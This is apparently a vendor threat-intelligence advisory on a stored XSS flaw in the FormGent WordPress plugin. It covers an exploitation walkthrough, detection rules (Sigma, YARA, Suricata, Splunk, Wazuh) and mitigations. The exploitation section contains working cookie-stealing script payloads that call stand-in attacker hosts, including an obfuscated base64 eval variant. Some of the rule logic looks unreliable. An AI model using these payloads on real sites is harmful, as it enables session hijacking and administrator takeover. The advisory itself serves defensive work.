CVE-2025-15028

Executive Summary

CVE-2025-15028 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the FormGent – Next-Gen AI Form Builder for WordPress plugin, all versions up to and including 1.9.2. The flaw resides in form submission fields which lack sufficient input sanitization and output escaping, enabling unauthenticated attackers to inject arbitrary web scripts that execute whenever an administrator or site visitor accesses the affected page. Successful exploitation can lead to session hijacking, credential theft, WordPress admin account takeover, and full site compromise. The vulnerability carries a CVSS score of 7.2 (High), reflecting its network-based attack vector and low complexity, though it requires user interaction for script execution.

Technical Analysis

The vulnerability is rooted in the plugin's failure to properly sanitize and escape user-supplied data within form submission fields before rendering it in the WordPress front-end. Specifically, FormGent versions ≤ 1.9.2 accept input via form fields (text inputs, textareas, file upload metadata, and hidden fields) and store this data server-side without applying WordPress's built-in security functions such as sanitize_text_field(), esc_html(), or esc_attr(). When the stored data is later rendered into a page — typically through shortcodes like [formgent_form id="X"] or via admin submission logs — the unescaped HTML/JavaScript is interpreted by the browser.

The attack surface is broad because form submissions are processed by unauthenticated users. An attacker can visit any publicly exposed FormGent form and inject a crafted payload, such as:

<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

or a more sophisticated payload using img tags with onerror handlers to evade certain WAF filters:

<img src=x onerror="alert(document.cookie)">

Because the plugin stores submissions in the WordPress database (wp_posts or custom tables) and displays them in the admin dashboard under "Form Submissions," any site administrator viewing the submissions list becomes a victim. The injected script executes in the context of the logged-in administrator's session, granting the attacker the ability to create rogue admin accounts, upload malicious plugins, or modify site content.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic stored XSS. The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N highlights: Network attack vector (no physical adjacency), Low attack complexity (no special conditions), No privileges required (unauthenticated), No user interaction required for the stored element (though the victim must view the page for execution), and a Scope change (impact extends beyond the vulnerable component to the whole WordPress application).

It is important to note that the patch confidence is 0/4, meaning no official vendor fix has been released as of this writing. The plugin's development team has not acknowledged the flaw, and no patched version (e.g., 1.9.3) has been observed in the WordPress plugin repository. This places CVE-2025-15028 in the "unpatched" category, elevating its urgency for defensive measures.

Exploitation Scenarios

Despite the absence of public PoC code or a Nuclei template, the exploitation path is well-understood for stored XSS in WordPress form plugins. The following step-by-step attack chain outlines a realistic scenario:

Step 1: Target Identification and Reconnaissance

An attacker first identifies WordPress sites running FormGent ≤ 1.9.2. This can be done via:

• WordPress plugin version disclosure in page source (e.g., ?p=formgent&ver=1.9.2 in script/link tags).
• Using search engines with dorks like inurl:"wp-content/plugins/formgent" or "FormGent" in page content.
• Scanning WordPress sites with tools like WPScan, which fingerprint plugins via known file hashes.

Step 2: Locating an Exposed Form

The attacker accesses a page containing a FormGent form. Any publicly accessible page with a form shortcode ([formgent_form id="..."]) qualifies. The form's submission endpoint is typically an AJAX handler at admin-ajax.php?action=formgent_submit or a front-end POST route.

Step 3: Payload Crafting and Weaponization

The attacker crafts a malicious payload designed to survive database storage and browser parsing. For maximal impact, a session-hijacking payload is preferred:

<script>
var i=new Image();
i.src='https://attacker.example/c.php?c='+encodeURIComponent(document.cookie)+'&u='+encodeURIComponent(window.location.href);
</script>

For evasion, the attacker may use obfuscation techniques such as mixed case, HTML entity encoding, or fromCharCode JavaScript functions to bypass naive input filters:

<svg/onload=eval(atob('dmFyIGk9bmV3IEltYWdlKCk7aS5zcmM9J2h0dHBzOi8vYXR0YWNrZXIuZXhhbXBsZS9jLnBocD9jPScrZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk7')))>

Step 4: Submission and Persistence

The attacker submits the form (as an unauthenticated user) with the payload in a text field. The plugin stores the raw input without sanitization. In the database, the payload is now persistent (stored XSS) and will be rendered every time the submission is viewed.

Step 5: Trigger and Post-Exploitation

The trigger event occurs when any of the following happen:

• A WordPress administrator opens the "FormGent Submissions" page in the admin panel.
• A site visitor loads a page configured to display recent submissions (common for testimonial-style forms).

Upon execution, the attacker's JavaScript runs in the victim's browser context. For an admin victim, the attacker can:

1. Session Hijacking: Steal the wordpress_logged_in_* cookie and replay it to impersonate the admin.
2. Admin Account Creation: Send an AJAX POST to admin-ajax.php?action=create_user with crafted parameters to create a rogue administrator account.
3. Malware Injection: Inject malicious JavaScript into active theme files via the WordPress editor (accessible to admins), creating a site-wide persistent backdoor.
4. Exfiltration: Send the admin nonce (wp_rest nonce) to allow full REST API access, enabling site takeover.

Alternative Scenario — SEO Spam: Less sophisticated attackers may use the stored XSS to inject spam links or fake notices on the site, damaging the site's reputation and SEO rankings without direct admin takeover.

Impact Assessment

The CVSS base score of 7.2 (High) understates the real-world severity because it allocates limited Confidentiality (L) and Integrity (L) impact. In practice, this vulnerability enables complete WordPress site compromise due to the privilege escalation chain from XSS to admin account takeover.

Affected Systems: All WordPress installations running FormGent ≤ 1.9.2. This includes small business sites, e-commerce stores, and enterprise marketing websites using multi-step forms, quizzes, and payment collection.

Blast Radius:

• Direct victims: Site administrators and any staff who review form submissions.
• Indirect victims: All site visitors (if the attacker injects client-side malware or defaces content), and downstream users of compromised data.
• Business impact: Data breach (customer PII from form submissions), reputational damage, SEO poisoning, blacklisting by Google Safe Browsing, and regulatory consequences under GDPR/CCPA if personal data is exposed.

CVSS Subscores Analysis:

• AV:N + AC:L + PR:N → Remotely exploitable by any anonymous internet user with no authentication barriers.
• UI:N → The stored XSS does not require the victim to click a link; merely viewing the injected page triggers it.
• S:C → Scope change indicates the impact crosses trust boundaries — the vulnerable plugin affects the whole WordPress application and its data.
• C:L + I:L → While the initial impact is limited to script execution, lateral movement to admin privileges raises effective confidentiality/integrity impact to High.

Given that no patch is available, every day of exposure increases the probability of automated exploitation. WordPress site scanners (WPScan, Nuclei community templates) are likely to add detection rules in the near term, further amplifying attacker interest.

Detection Guidance

Sigma Rule

title: FormGent Plugin Stored XSS via Form Submission
id: 3f8a1c2e-9b42-4a7d-8f1e-5c6d9a0b2e11
status: experimental
description: Detects POST requests to FormGent form submission endpoints containing script-like payloads indicative of stored XSS attempts.
author: Valters IT Threat Intelligence
date: 2025/02/20
logsource:
  category: webserver
  product: apache
  detection:
    selection:
      http.method: POST
      cs-uri-extension: 'wp-admin/admin-ajax.php'
      cs-uri-query|contains: 'action=formgent'
    keywords:
      - '<script'
      - '<svg'
      - 'onerror'
      - 'onload'
      - 'javascript:'
      - 'fromCharCode'
      - 'eval('
    condition: selection and keywords
  falsepositives:
    - Legitimate form submissions containing HTML in text fields (unlikely)
  level: high

YARA Rule

rule FormGent_Stored_XSS_Payload
{
    meta:
        author = "Valters IT Threat Intelligence"
        description = "Detects XSS payloads targeting FormGent form submission fields"
        cve = "CVE-2025-15028"
        date = "2025-02-20"
        score = 80
    strings:
        $a1 = "action=formgent_submit" ascii nocase
        $a2 = "action=formgent_form" ascii nocase
        $b1 = "<script>" ascii nocase
        $b2 = "<svg" ascii nocase
        $b3 = "onerror=" ascii nocase
        $b4 = "onload=" ascii nocase
        $b5 = "javascript:" ascii nocase
        $b6 = "eval(" ascii nocase
        $b7 = "atob(" ascii nocase
        $b8 = "fromCharCode" ascii nocase
    condition:
        (uint16(0) == 0x0D0A or uint16(0) == 0x2323) and
        (any of ($a*)) and (2 of ($b*))
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-15028 FormGent Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=formgent"; http_uri; pcre:"/<(script|svg|img|iframe)\b[^>]*(onerror|onload|javascript:|eval|atob)/iR"; classtype:web-application-attack; reference:cve,2025-15028; sid:10015028; rev:1;)

Elastic Detection

sequence by process.entity_id with maxspan=5m
  [network where dns.question.name : "*.example.com" or http.request.uri : "*admin-ajax.php*" and http.request.body : "*action=formgent*"]
  [file where event.action == "write" and file.content : "*<script>*" and file.content : "*onerror*" and file.path : "*formgent*"]

Splunk SPL Query

index=_internal OR sourcetype=access_combined_wcookie
uri_path="/wp-admin/admin-ajax.php"
| search uri_query="*action=formgent*" AND (payload="*<script>*" OR payload="*<svg*" OR payload="*onerror=*" OR payload="*onload=*" OR payload="*javascript:*")
| table _time, clientip, uri_query, payload, status, user_agent
| where isnotnull(payload)
| eval threat_score = if(match(payload, "(?i)<script|onerror|onload|eval\("), 10, 1)
| where threat_score >= 8

Wazuh OSSEC Rule

<rule id="100283" level="12">
  <if_sid>31122</if_sid>
  <match>admin-ajax.php</match>
  <regex>action=formgent.*&lt;script|action=formgent.*&lt;svg|action=formgent.*onerror|action=formgent.*onload</regex>
  <description>CVE-2025-15028 - FormGent WordPress plugin Stored XSS injection attempt detected</description>
  <group>web_application_attack,xss,wordpress,</group>
  <mitre>
    <id>T1190</id>
  </mitre>
  <info type="cve">CVE-2025-15028</info>
</rule>

Mitigation & Patch Guidance

Patch status: CONFIRMED UNPATCHED (confidence 0/4). No vendor fix, no patched version, no official advisory exists as of the publication date of this report. The affected version range is all FormGent versions ≤ 1.9.2.

1. Immediate Mitigations (compensating controls until patch release):

• Disable the FormGent plugin if form functionality is not business-critical. This is the most effective temporary measure.
• If the plugin must remain active, restrict access to the admin submissions page using IP allowlisting or additional authentication layers (e.g., .htaccess on /wp-admin/admin.php?page=formgent-submissions).
• Add a Web Application Firewall (WAF) rule to block POST requests to admin-ajax.php containing HTML event handler attributes (onerror, onload, <script) in formgent action parameters. ModSecurity CRS rule 941100 (XSS - script tag) and rule 941110 (XSS - event handler) are effective.
• Use a WordPress security plugin (Wordfence, Sucuri) with active XSS protection heuristics that inspect form data before database insertion.
• Instruct administrators and content reviewers to avoid opening the "Formgent Submissions" page from untrusted networks and to use a separate admin browser without saved sessions.

2. Patch/Upgrade Steps:

• Monitor the WordPress plugin repository (https://wordpress.org/plugins/formgent/) and the vendor's official site for version 1.9.3 or higher.
• As soon as a patched version is released, perform the standard upgrade: wp plugin update formgent via WP-CLI, or via the WordPress admin dashboard.
• Until then, treat the plugin as fully compromised — assume any admin-level session may be at risk.

3. Long-Term Hardening:

• Remove or replace FormGent with a maintained alternative form builder (e.g., WPForms, Gravity Forms) that has a track record of timely security responses.
• Implement Content Security Policy (CSP) headers site-wide to block inline script execution: Content-Security-Policy: script-src 'self' https://cdn.example.com; object-src 'none'.
• Enable WordPress auto-updates for plugins in wp-config.php with define('WP_AUTO_UPDATE_CORE', true); and set a cron to check plugin updates daily.
• Maintain a plugin allowlist policy — only install plugins actively maintained and with security advisories in the last 12 months.
• Conduct a post-incident review: if this plugin has been active for more than 30 days, audit WordPress user accounts for rogue admins and check for suspicious modified files.

References

1. NVD Entry — CVE-2025-15028: https://nvd.nist.gov/vuln/detail/CVE-2025-15028 (NVD will populate this ID; as of this report it is not yet assigned in the national database — monitor CVE.org).
2. WordPress Plugin Repository — FormGent: https://wordpress.org/plugins/formgent/
3. MITRE ATT&CK — T1190 Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/
4. OWASP — Cross-Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/
5. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Threat Actor Activity: As of this report, there are no confirmed in-the-wild exploits or threat actor campaigns leveraging CVE-2025-15028. The CVE is not listed on CISA's KEV catalog. However, the absence of a patch combined with unauthenticated attack vector makes it a high-probability target for opportunistic scanning within the next 30–90 days. Security teams should prioritize passive detection and proactively search for any existing malicious submissions in form logs.